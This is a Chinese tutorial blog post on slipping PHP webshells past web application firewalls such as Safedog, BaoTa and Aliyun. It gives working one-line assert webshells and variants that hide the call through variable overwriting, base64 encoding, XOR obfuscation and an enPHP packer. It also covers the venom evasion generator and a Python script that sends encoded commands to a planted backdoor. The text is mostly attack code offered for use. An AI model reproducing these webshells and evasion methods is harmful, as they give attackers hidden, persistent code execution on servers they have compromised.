WAF绕过-权限控制之代码混淆及行为造轮子

在这里插入图片描述

Safedog-手写覆盖变量简易代码绕过-代码层

正常情况下:
在这里插入图片描述

一句话木马:<?php assert($_POST['chopper']);?>
变量覆盖:通过把敏感字符写到参数上,绕过WAF:

<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
 
//传参:?x=b&y=assert
//$a=b  $$a=$b=assert 
//$b($_POST['z'])变成assert($_POST['z']);

可以绕过safedog查杀

上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=phpinfo();
safedog不拦截
在这里插入图片描述

采取上述覆盖变量的方式可以绕过安全狗查杀,但是会被宝塔拦截。原因是 宝塔过滤规则里定义了phpinfo()等关键字。
在这里插入图片描述

所以可以配套使用编码解码方式绕过宝塔。

<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
 
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=cGhwaW5mbygpOw==

测试,成功。
在这里插入图片描述

Safedog-基于接口类加密混淆代码绕过-代码层

上传一句话木马:

<?php assert(base64_decode($_POST['chopper']));?>

木马文件被安全狗查杀
在这里插入图片描述

加密混淆的方法绕过

使用enPHP工具加密混淆代码

enPHP工具
命令:php.exe code_test.php
在这里插入图片描述

加密混淆后木马:

<?php /* -- enphp : https://github.com/djunny/enphp */ error_reporting(E_ALL^E_NOTICE);define('寵', '€');$_SERVER[] = explode('|||', gzinflate(substr('?      K,.N-*゛B枻拟T3擑斣潼擳圥 .5&6    ',0x0a, -8))); $_SERVER{}[0]($_SERVER{}{0x001}($_POST[$_SERVER{}[0x0002]]));?>

在这里插入图片描述
现在成功不了了

phpjiami在线加密混淆

地址:https://www.phpjiami.com/phpjiami.html
在这里插入图片描述
现在成功不了了

safedog,BT,Aliyun-基于覆盖加密变异(异或生成)下编码解码绕过-代码层

venom:支持生成asp、aspx、jsp、php等一句话免杀木马

python3 php_venom_3.3.py //生成免杀一句话
python3 php_venom_3.3.py shell.php //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php
使用说明:

 是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php 
POST: mr6=phpinfo();  //与普通shell相同
 
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码

第一种:生成免杀一句话木马
在这里插入图片描述

<?php
class HBPM{
    function __destruct(){
        $YRLJ='QD<!f-'^"\x30\x37\x4f\x44\x14\x59";
        return @$YRLJ("$this->ABMQ");
    }
}
$hbpm=new HBPM();
@$hbpm->ABMQ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

如果不传参id的话,就不base解密mr6,如果传参id的话,就base解密mr6
在这里插入图片描述

在这里插入图片描述

第二种:根据自己写的代码生成免杀一句话木马
在这里插入图片描述

Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层

3个工具比较:

菜刀:已经不再更新了,无插件(看举例1),单向加密传输,打5分,不建议使用。
蚁剑:持续更新状态,有插件,扩展性强,缺点是单向加密传输,打8分。
冰蝎:持续更新状态,未知插件,扩展性强,双向加密传输,偏向于后渗透,可以联动msf.,打分9分,推荐使用。
下载地址:

冰蝎:https://github.com/rebeyond/Behinder/releases/
蚁剑:https://github.com/AntSwordProject/antSword/releases
在这里插入图片描述
在这里插入图片描述

单向加密传输VS双向加密传输

单向加密传输:请求参数加密,响应不加密。
双向加密传输:请求加密,响应加密,更好地保护数据传输,防止waf拦截被杀。

菜刀单向加密传输

抓取数据包
在这里插入图片描述
模拟发包
在这里插入图片描述
解密
在这里插入图片描述

冰蝎双向加密传输

在这里插入图片描述

冰蝎-双向加密传输-抓包查看
在这里插入图片描述
设置代理在这里插入图片描述
在这里插入图片描述

Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层

使用工具连接木马时,waf可能会通过工具的指纹实现拦截,此时我们可以采用如下方法绕过:1、指纹变异 2、自己造轮子
举例如下,自己写脚本模拟工具
上面那种行为会被拦截,所以我们可以自己写控制器

http://test.xxx.com/xx.php?x=b&y=assert
post data举例:
执行代码 z=phpinfo(); -->  z=cGhwaW5mbygpOw==
写入文件 z=file_put_contents("test.txt","1"); -->  z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw==
读取文件 z=var_dump(scandir(".")); -->  z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs=

在这里插入图片描述

在这里插入图片描述

python代码

import requests
import base64

url = input("请输入你的后门地址")
path = {
	'z':'dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs='
}
result = requests.post(url, data=path).text
print(result)

在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值